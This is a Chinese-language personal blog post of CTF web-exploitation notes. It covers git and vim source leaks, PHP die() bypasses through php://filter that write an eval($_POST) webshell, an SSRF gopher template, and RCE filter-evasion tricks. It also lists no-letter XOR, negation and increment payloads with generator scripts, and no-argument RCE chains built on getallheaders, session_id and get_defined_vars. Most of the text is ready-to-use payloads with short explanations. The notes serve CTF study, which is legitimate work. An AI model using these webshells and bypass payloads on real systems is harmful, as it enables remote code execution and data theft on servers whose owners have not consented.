那些年,日穿我的web知识(一)
本文最后更新于0 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

Git泄露之修复文件指令

今天在做一道git泄露的时候发现了一个用于恢复文件的指令,记录下来

只需要进入到那个文件的目录,打开终端,然后输入指令

git log --reflog

然后再

git reset --hard +橙色字符串就可以了

在做到香港赛的一道题目的时候,使用GitHack提取的文件里头是没有东西的,考的是很原始的git泄露,导致我一度不会做,然后它就是要cd进入这个文件,然后git regflog,得到一串非head的回显

可以看到head并不能将他识别,说明这段指令是非head,于是我们进入其中,使用指令

git checkout id

然后命令执行即可。

如果上面的方法产生报错,那么还有一种方法是

关于踩过的一些坑

这是因为我们没有推出当前git目录,这些HEAD就相当于git文件的历史目录,想要进入这些历史目录就得先退出来

Vim泄露

关于vim泄露的题目我也做的不多,目前只知道,如果有vim泄露,就会有一个叫 .index.php.swp的文件,这个时候他是损坏的,必须要到kali上用指令恢复

vim -r 文件名

PHP死亡绕过

典型的就是会拼接die函数,die会让进程停止,导致没法进行注入。那么绕过的方法就是使用php伪协议进行绕过,$file表示的是伪协议读取的文件,然后$a是编码后的内容,这样子就可以做到写入木马。

1.rot13绕过
#下放url编码为php://filter/write=string.rot13/resource=6.php的两次url编码
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%36%25%32%65%25%37%30%25%36%38%25%37%30
#post传
content=<?cuc riny($_CBFG[1]);?>
#为<?php eval($_POST[1])?>
2.base64绕过
base64解码时会自动跳过不认识的字符,如空格,括号,中文等
<?php die('nonono');?>base64解码只解码phpdie,而base64是四个字符解码四个字符的,所以可以填充两个字符,造成php代码失效,而一句话木马能够解码成功
#file=php://filter/write=convert.base64-decode/resource=b.php两次url编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%32%25%32%65%25%37%30%25%36%38%25%37%30
#post
content=11PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#base64解码<?php @eval($_POST[1]);?>
#两位两位的互换位置
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=3.php
#post
?<hp pvela$(P_SO[T]1;)>?
#
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
#
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#base64编码:<?php @eval($_POST[1]);?>

MD5万能密码

ffifdyop

特殊MD5值

0e215962017的MD5值等于它本身

SSRF的POST模板

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
 
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
 
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

将其进行url编码之前,需要用代码将其中的%0A全部替换成%0D%0A,再用上SSRF的语句:?url=gopher://127.0.0.1:80/_上面的两次url编码

替换代码

def replace_keyword(text, keyword, replacement):
    return text.replace(keyword, replacement)


if __name__ == "__main__":
    text = ""
    keyword = input("Enter the keyword to replace: ")
    replacement = input("Enter the replacement word: ")

    new_text = replace_keyword(text, keyword, replacement)
    print("New text: ", new_text)

普通RCE

空格过滤:

< 、 <> 、%20(space) 、%09(tab) 、$IFS$9 、${IFS} 、$IFS

大括号{}:

{cat,flag.php}

一些命令分隔符 :

linux : %0a(回车) 、%0d(换行)、; 、& 、| 、&& 、||

windows : %0a 、& 、| 、%1a(作为.bat文件中的命令分隔符)

黑名单绕过:

偶读拼接:

a=fl;b=ag;cat $a$b

拼接绕过

(sy.(st).em)

内敛执行代替:

echo `ls`; echo $(ls) ; ?><?=`ls` ; ?><?=$(ls) ;

<?=`ls`;?> #等效于<?php echo ·ls /·;>

编码绕过

echo `…………..` |base64 -d 1.txt

单反引号绕过

括号绕过:

构造include函数就可以不用括号

分号绕过:

?> || %0a(换着用一用,总是能出来的)

利用特殊变量绕过

$@ ; $1 ; $2

ca$@t fla$@g或者是ca$1t fla$2g

linux查看文件的命令(cat被过滤)

  • more:一页一页显示
  • less:与more相似
  • head:查看头几行
  • tac常用):从最后一行开始显示
  • tail:查看尾几行
  • nl常用):显示内容的同时,顺便显示行号
  • od:以二进制的方式读取
  • vi:编译器
  • vim:编译器
  • sort:可以查看
  • uniq:可以查看
  • file -f
  • strings
  • paste
  • rev(反序输出),但是有局限性,不知道为什么在国赛题里头不能回显出mysql
  • passthru
  • dd if=文件路径
  • diff –recursive / 文件路径
  • pr 这个命令也是输出命令,但是不知道为什么,国赛题就是不行的

一些神奇的招式

$(())可以用来计算数学公式

当$(())为空时,为零

前置知识:当a=~b时,a+b=-1

于是就有了

然后我们就可以用它来构造数字造成一些数字过滤绕过

payload:10=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

用数组遍历方式输出所有文件

c=?><?php    //前面的?>用来闭合<?
	$a=new DirectoryIterator("glob:///*");   //php使用glob遍历文件夹
	foreach($a as $f) 
	{
		echo($f->__toString().' ');
	} 
	exit(0);
?>

还有一个简单版的

c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}

sql语句读取数据库文件

c=?><?php 
	$a=new DirectoryIterator("glob:///*");
	foreach($a as $f)
	{
		echo($f -> __toString().'  ');
	}
	exit();
?>
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);
//我看不太懂,只能先抄个答案了

无字母RCE

按理来说有三种方法:异或、自增、取反

取反RCE

#取反代码
<?php
$a=urlencode(~"system");
$b=urlencode(~"cat /f*");
$wllm="(~$a)(~$b)";
echo $wllm;
?>

突然发现上面的取反代码具有局限性,因为上面需要代码逻辑上有两个参数才能拼接,下面给出单个参数的情况下,所需要的取反代码

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("


while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

如果我输入phpinfo()的话,会构造出[~%8f%97%8f%96%91%99%90][!%FF]();这样的语句,那为什么会有[!%FF],因为我们是将多个字符串取反,但是得要将取反的内容进行拼接,于是这里就用到了二维数组的拼接,这里被认为是二维数组拼接的参数。

异或RCE(字符串异或构造简单版)

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = 'phpinfo'

tmp1, tmp2 = '', ''
for c in answer:
    for i in valid:
        for j in valid:
            if (ord(i) ^ ord(j) == ord(c)):
                tmp1 += i
                tmp2 += j
                break
        else:
            continue
        break
print(tmp1, tmp2)

自增RCE

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

再添加一个自增

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
相当于@eval($_POST[_])

url编码的话可以选择赛博厨子,记得勾选Encode all special chars

再添加一个自增🐎

_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

<=120自增RCE

$_=[].'_'; //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];//$__是r
$_=$_[0];//$_这时是A
$_++;//$_这时是B,每++一次就是下一个字母
$_++;//C
$_0=$_;//把c给$_0
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_0.++$_.$__;//$_=CHr
$_='_'.$_(71).$_(69).$_(84); //$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
//$$_[1]($$_[2]);//$_GET[1]($_GET[2])

于是我们就可以构造出以下payload

$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b

最后再进行get传参即可,上面的代码其实就是展示了自增的思想在里头,然后利用chr进行拼接就可以不用自增到assert,从而减少了长度

<=105自增RCE

$_=([].[])[0]; //得到Array
$_=($_/$_.$_)[0]; //=N $_++; //O $=$_.$_++; //拼接PO
$_++;$_++;$_++; //S
$__.=$_;
$_++; //T
$_=.$_.$_; //拼接和POST $$0; //$_POST0

<=72自增RCE

<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f* 

<=68自增RCE

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST $$a[_POST]($$a[_])//$_POST[_POST]($_POST[_]) 

<=62自增RCE

<?PHP
$_=_(_._)[_];//N  //本地使用就用(_._._)[_]
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[%FF]);
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb

看到的一些奇招异式

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f"); // =system('ls /');
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即: 
${_GET}{%ff}();&%ff=phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo

如果想要执行代函数的函数比如system('whoami'),那我们可以对后面括号里的参数做相同的编码处理:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system 
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file

// 即:
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file

同理,我们也可以直接进行取反:

${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system

第一部分的奇招异式解析

A=%40 xor %13,

然后以此类推构造出想要的命令,例如system(‘ls’);

贴上羽神的脚本,用来获取密码集

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }

}

generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

脚本如下

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

第二部分奇招异式解析

$_GET[a]=${_GET}{a}

0xff即%ff和任何字符都可以异或

于是和上面的思路一样,就饿可以构造出来相应的payload

无参RCE之八进制绕过

先看结论,可以通过$’\xxx\xxx’的方式将八进制转换成shell命令。

再介绍一个特殊的参数$0

$0可以表示当前脚本的文件名,在终端中,$0其实就是bash本身。

然后我们还可以根据以下手法构造0和1

几种ls的写法

$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}0${##}000${##}${##}))\'

 ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}${##}${##}))\'

然后这里再补充一下bash的相关知识。

Bash在执行命令之前,会对命令行进行一系列的扩展(expansions),这些扩展包括花括号扩展(brace expansion)、波浪号扩展(tilde expansion)、参数和变量扩展(parameter and variable expansion)、算术扩展(arithmetic expansion)、命令替换(command substitution)、单词分割(word splitting)和文件名扩展(filename expansion)等,最重要的是这些扩展的顺序是固定的,而且是从左到右进行的。

也就是说,bash shell 会先对命令行中的花括号进行扩展,然后再对波浪号进行扩展,依次类推,直到完成所有的扩展为止。

无参RCE

首先记录一段很有意思的rce代码

<?php
	if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
 		     eval($_GET['exp']);
	}
?>

如果‘;’===preg_replace(…),那么就执行exp传递的命令
\ : 转义字符不多说了
[a-z,]+ : [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

常见绕过姿势

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。

implode()能够直接将getallheaders()返回的数组转化为字符串。

payload:?exp=eval(implode(getallheaders()));

get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果如下:

payload: ?exp=var_dump(get_defined_vars());

var_dump()跟system很像,如果system()被过滤了,可以尝试使用var_dump(ls /);

在冲浪的时候还发现了几个可以替代system()的函数

  • exec()
  • shell_exec()
  • popen()
  • proc_open()
  • pcntl_exec()
  • 反引号 同shell_exec()
  • passthru()

需要额外注意的是,这些函数都是需要借助echo函数才能回显,而system()函数可以直接回显

因为返回的数组会很多,于是我们会用到current()函数(读取二维数组中的第一个一维数组),如果current()函数被替换,可以使用pos()函数

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动

根据这些来变换想要得到的数组内容,最后把数组内的数值进行替换。(说实话我拿了一道题目来实验,但是没有成功)

?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();

感觉有点乱,整理一下做题思路:就是首先用?exp=var_dump(get_defined_vars());&b=1 传个参数进去,然后提取get参数的数组?exp=var_dump(current(get_defined_vars()));&b=1 但是这里有一个坑,就是这个是当get数组在第一位的时候的情况,如果是在其他位置的,我还不知道该怎么写。然后就是找到我们传进去的参数在get参数数组的第几位,如果是最后一位的话,那就是

exp=var_dump(end(current(get_defined_vars())));&b=1 这个时候看看页面上返回的是否是你上传的参数,如果是的话,就可以配合eval函数去rce了

?exp=eval(end(current(get_defined_vars())));&shell=phpinfo();

session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 – (减号)解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。

hex2bin():转换16进制字符串为2进制字符串,注意:不是数字,如果是数字的话,应使用base_convert()

所以,payload可以为:?exp=eval(hex2bin(session_id()));
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
最后,payload:?exp=eval(hex2bin(session_id(session_start())));
说到这里,这套组合拳还差了点东西,你还没写你要执行的代码!
不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:hex(“phpinfo();”)=706870696e666f28293b
所以最终组合拳这样打:

如果无法使用hex2bin其实也是无所谓的,我们可以直接在phpsessid里头输入flag.php之类的数值

配合使用的函数

  • getchwd() 函数返回当前工作目录。
  • dirname() 函数返回路径中的目录部分。
  • scandir() 函数返回指定目录中的文件和目录的数组。
  • chdir() 函数改变当前的目录。
  • readfile() 输出一个文件。
  • current() 返回数组中的当前单元, 默认取第一个值。
  • pos() current() 的别名。
  • next() 函数将内部指针指向数组中的下一个元素,并输出。
  • end() 将内部指针指向数组中的最后一个元素,并输出。
  • array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
  • array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
  • array_slice() 函数在数组中根据条件取出一段值,并返回。
  • array_reverse() 函数返回翻转顺序的数组。
  • chr() 函数从指定的 ASCII 值返回字符。
  • hex2bin() — 转换十六进制字符串为二进制字符串。
  • getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
  • localeconv() 函数返回一包含本地数字及货币格式信息的数组。

总结几种常用的无参RCE公式化进点

1、scandir常规构造

这里贴一些别的代码


highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
  //查看和读取根目录文件
  //查看和读取根目录文件

2、session_id()

使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>


得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后的值为想执行的命令的十六进制编码

法二:读文件

例题依然是[GXYCTF2019]禁止套娃,在知道文件名为flag.php的情况下直接读文件

如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:

readfile(session_id(session_start()));

然后在cookie那里构造出想要查看的文件名

方法三:getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

system(end(getallheaders()));

这里用鹏城杯的题目来举例子

需要注意的是,如果使用的是end函数的话,那么请求头就要放在最后一个

如果使用的是

system(current(getallheaders()));

请求头就要放在第一位

方法四:get_defined_vars()
相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,

返回数组顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES

首先确认是否有回显:

print_r(get_defined_vars()); //没有回显的话,多半是用不了

有的话就构造

a=eval(end(current(get_defined_vars())));&b=system('ls /');

一个是题目给的参数,另一个就是可以自己构造一个参数,然后给出恶意代码,不局限于eval,也可以是assert

常规无参RCE例题

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

可以看到过滤了很多的符号,这里可以尝试构造无参RCE

首先常规构造出scandir(‘.’);但是发现.号被过滤,使用poc(localeconv())构造.号

回显出flag.php的位置在倒数第二个,使用array_reverse()倒序数组,再用next()函数将指针移到下一位,最后用highlight_file()或者是show_source进行输出

payload:?c=show_source(next(array_reverse(scandir(poc(localeconv())))))

方法五:chdir()&array_rand()赌狗读文件

实在无法rce,可以考虑目录遍历进行文件读取

利用getcwd()获取当前目录:

var_dump(getcwd());

结合dirname()列出当前工作目录的父目录中的所有文件和目录:

var_dump(scandir(dirname(getcwd())));

读上一级文件

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

算了这个写不下去了,以后有机会补上

常用的各种无参RCE的骚姿势

姿势一

?exp=print_r(scandir(current(localeconv())));

这个指令用来查看文件在数组中的位置

这里要知道一点:想要浏览目录内的所有文件我们常用函数scandir()。当scandir()传入.,它就可以列出当前目录的所有文件。

但这里是无参数的RCE,我们不能写scandir(.),而localeconv()却会有一个返回值,那个返回值正好就是. 再配合current()或者pos()不就可以把.取出来传给scandir()查看所有的文件了吗?

如果flag.php的位置不特殊,可以使用array_rand()和array_flip()(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,函数作用上面有写到)来随机刷新显示的内容,刷几次就出来了,所以这种情况payload:?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

姿势二

?num=var_dump(scandir(‘/’))) //读取根目录文件

可如果 ‘ ’ 或者是 / 被过滤时该怎么办呢,这个时候就需要,用chr() 函数来绕过,也就是ascii码绕过

?num=print_r(scandir(chr(47)));

然后就是读取文件

?num=print_r(file_get_contents(‘/flagg’));

?num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

目前见到的一些奇形怪状的RCE绕过方法

print_r(`ls`);

system(“cp flag.php 1.txt”); //然后访问1.txt

system(“/bin/base64 flag.php”);

var_dump(`ls`);

include$_GET[0]?>&0=data://text/plain,<?php phpinfo();?>

HEX编码:例如:tac flag–> 74616320666c6167

echo “74616320666c6167”|xxd -r -p|bash

printf(`ls`);

内敛替代执行?code=?><?=l\s?>

print_r(glob(“*”));查看目录下文件

php -r ‘system(hex2bin(ff3b746163202f666c61672e747874));’ //16进制的内容为;tac /flag.txt,至于为什么16进制里要有ff,那是因为如果没有字符的话,而是纯数字的话,就会被判定为数字而不是字符串,就无法执行转换后的命令,然后ff转换后是不可见字符,所以对整体指令不会有任何影响。

若是单引号被禁用的话,可以用以下方法绕过

php -r $a=hex2bin(ff3b746163202f666c61672e747874);system($a);

system(“/usr/bin/bzip2 flag.php”);

常见MD5相等值

  • s878926199a
  • 0e545993274517709034328855841020
  • s155964671a
  • 0e342768416822451524974117254469
  • s214587387a
  • 0e848240448830537924465865611904
  • s214587387a
  • 0e848240448830537924465865611904
  • s878926199a
